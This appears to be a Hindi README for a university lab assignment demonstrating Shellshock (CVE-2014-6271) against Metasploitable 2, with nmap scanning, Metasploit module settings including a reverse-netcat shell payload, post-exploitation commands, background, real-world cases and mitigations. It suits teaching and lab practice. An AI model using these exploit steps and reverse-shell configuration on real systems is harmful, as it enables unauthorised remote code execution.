
शैक्षिक प्रयोगशाला जो Metasploitable 2 के खिलाफ Metasploit का उपयोग करके Shellshock (CVE-2014-6271) शोषण का प्रदर्शन करती है, जिसमें स्कैनिंग, शोषण, रिवर्स शेल और शमन रणनीतियाँ शामिल हैं।
यह भेद्यता आकलन और प्रवेश परीक्षण - II के लिए व्यावहारिक असाइनमेंट है, जो शेलशॉक भेद्यता (CVE-2014-6271) के शोषण और विश्लेषण पर केंद्रित है।
इसे नियंत्रित प्रयोगशाला वातावरण में Metasploitable 2 (लक्ष्य) और Kali Linux (हमलावर) का उपयोग करके संचालित किया गया।
nmap -sS -sV <लक्ष्य-आईपी>
2️⃣ Metasploit प्रारंभ करें
msfconsole
3️⃣ शोषण मॉड्यूल लोड करें
use exploit/multi/http/apache_mod_cgi_bash_env_exec
4️⃣ शोषण कॉन्फ़िगर करें
set RHOST <लक्ष्य-आईपी>
set TARGETURI /cgi-bin/status
set LHOST <आपका-काली-आईपी>
set PAYLOAD cmd/unix/reverse_netcat
5️⃣ शोषण चलाएं
exploit
📸 प्रदर्शन में शामिल है
📡 Nmap स्कैन परिणाम
⚙️ Metasploit कॉन्फ़िगरेशन
🔄 रिवर्स शेल सत्र आउटपुट
🛠 पोस्ट-एक्सप्लॉइटेशन कमांड:
whoami
uname -a
ifconfig
📖 सैद्धांतिक पृष्ठभूमि शेलशॉक क्या है?
शेलशॉक GNU Bash शेल में एक भेद्यता है जो हमलावरों को पर्यावरण चरों में आदेश इंजेक्ट करके मनमाने आदेश निष्पादित करने की अनुमति देती है। सितंबर 2014 में खोजी गई और CVE-2014-6271 निर्दिष्ट, यह Bash v1.14 से v4.3 को प्रभावित करती है। यह कैसे काम करता है
Bash पर्यावरण चरों में फ़ंक्शन परिभाषाओं को गलत तरीके से संसाधित करता है और फ़ंक्शन बॉडी के बाद अतिरिक्त आदेश निष्पादित करता है। CGI स्क्रिप्ट्स का उपयोग करने वाले वेब सर्वरों में, HTTP हेडर पर्यावरण चर बन जाते हैं, जिससे एक आसान हमला पथ बनता है।
उदाहरण:
env x='() { :;}; echo vulnerable' bash -c "echo test"
यदि संवेदनशील है, तो यह 'vulnerable' प्रिंट करता है। प्रभाव
प्रमाणीकरण के बिना पूर्ण दूरस्थ कोड निष्पादन (RCE)
सरल HTTP अनुरोधों के माध्यम से शोषण योग्य
बॉटनेट, वर्म्स, लक्षित हमलों में उपयोग किया गया
लाखों सर्वरों, राउटरों और IoT उपकरणों को प्रभावित किया
वास्तविक दुनिया के शोषण
याहू सर्वर – CGI स्क्रिप्ट्स के माध्यम से मैलवेयर
वोपबोट बॉटनेट – स्वचालित शोषण
QNAP NAS – दूरस्थ शेल पहुंच और मैलवेयर
स्व-प्रतिकृति वर्म्स – नए संवेदनशील होस्टों में फैलना
🛡 रोकथाम और शमन
🔄 Bash को तुरंत अपडेट करें
🚫 अप्रयुक्त CGI स्क्रिप्ट्स को अक्षम करें
🔥 अनावश्यक ट्रैफ़िक को रोकने के लिए फ़ायरवॉल का उपयोग करें
🛡 वेब एप्लिकेशन फ़ायरवॉल (WAF) तैनात करें
📜 HTTP अनुरोध लॉग की निगरानी करें
👤 न्यूनतम विशेषाधिकार सिद्धांत लागू करें
⚠️ अस्वीकरण
यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए है। सभी परीक्षण एक नियंत्रित प्रयोगशाला वातावरण में किए गए। ❌ इन तकनीकों का उपयोग अनुमति के बिना सिस्टम पर न करें।
👨💻 लेखक: जानिथ मधुसंखा 🎓 पाठ्यक्रम: नेटवर्क और सुरक्षा में बीआईसीटी (ऑनर्स) 🏫 संस्थान: साउथ ईस्टर्न यूनिवर्सिटी ऑफ श्रीलंका